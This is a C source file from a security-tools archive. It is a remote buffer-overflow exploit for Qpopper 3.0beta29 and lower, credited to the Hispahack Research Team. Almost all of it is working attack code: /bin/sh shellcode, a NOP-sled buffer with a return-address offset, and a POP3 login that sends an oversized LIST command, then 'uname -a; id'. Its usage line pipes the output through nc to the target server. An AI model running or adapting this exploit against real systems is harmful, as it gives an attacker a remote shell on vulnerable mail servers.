home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / qpop-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  76 lines

  1. /*
  2.  * !Hispahack Research Team  
  3.  * http://hispahack.ccc.de
  4.  *
  5.  * By Zhodiac <zhodiac@softhome.net>
  6.  *
  7.  * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
  8.  * Overflow at pop_list()->pop_msg()
  9.  *
  10.  * Tested: 3.0beta28  offset=0
  11.  *         3.0beta26  offset=0
  12.  *         3.0beta25  offset=0
  13.  *
  14.  * #include <standar/disclaimer.h>
  15.  *
  16.  * This code is dedicated to my love [CrAsH]] and to all the people who
  17.  * were raided in Spain in the last few days.
  18.  *
  19.  * Madrid 10/1/2000
  20.  *
  21.  */
  22.  
  23. #include <stdio.h>
  24.   
  25. #define BUFFERSIZE 1004
  26. #define NOP 0x90
  27. #define OFFSET 0xbfffd9c4
  28.   
  29. char shellcode[]=  
  30.  "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
  31.  "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
  32.  "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
  33.  
  34.   
  35. void usage(char *progname) {
  36.  fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
  37.  exit(1);
  38.  
  39. int main(int argc, char **argv) {
  40. char *ptr,buffer[BUFFERSIZE];
  41. unsigned long *long_ptr,offset=OFFSET;
  42. int aux;
  43.   
  44.  fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
  45.  fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");
  46.  
  47.  if (argc<3) usage(argv[0]);
  48.  
  49.  if (argc==4) offset+=atol(argv[3]);
  50.  
  51.  ptr=buffer;
  52.  memset(ptr,0,sizeof(buffer));
  53.  memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
  54.  ptr+=sizeof(buffer)-strlen(shellcode)-16;
  55.  memcpy(ptr,shellcode,strlen(shellcode));
  56.  ptr+=strlen(shellcode);
  57.  long_ptr=(unsigned long*)ptr;
  58.  for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
  59.  ptr=(char *)long_ptr;
  60.  *ptr='\0';
  61.  
  62.  fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
  63.  fprintf(stderr,"Offset: 0x%lx\n\n",offset);
  64.  
  65.  printf("USER %s\n",argv[1]);
  66.  sleep(1);
  67.  printf("PASS %s\n",argv[2]); 
  68.  sleep(1);
  69.  printf("LIST 1 %s\n",buffer);
  70.  sleep(1); 
  71.  printf("uname -a; id\n");
  72.  
  73.  return(0);
  74. }
  75.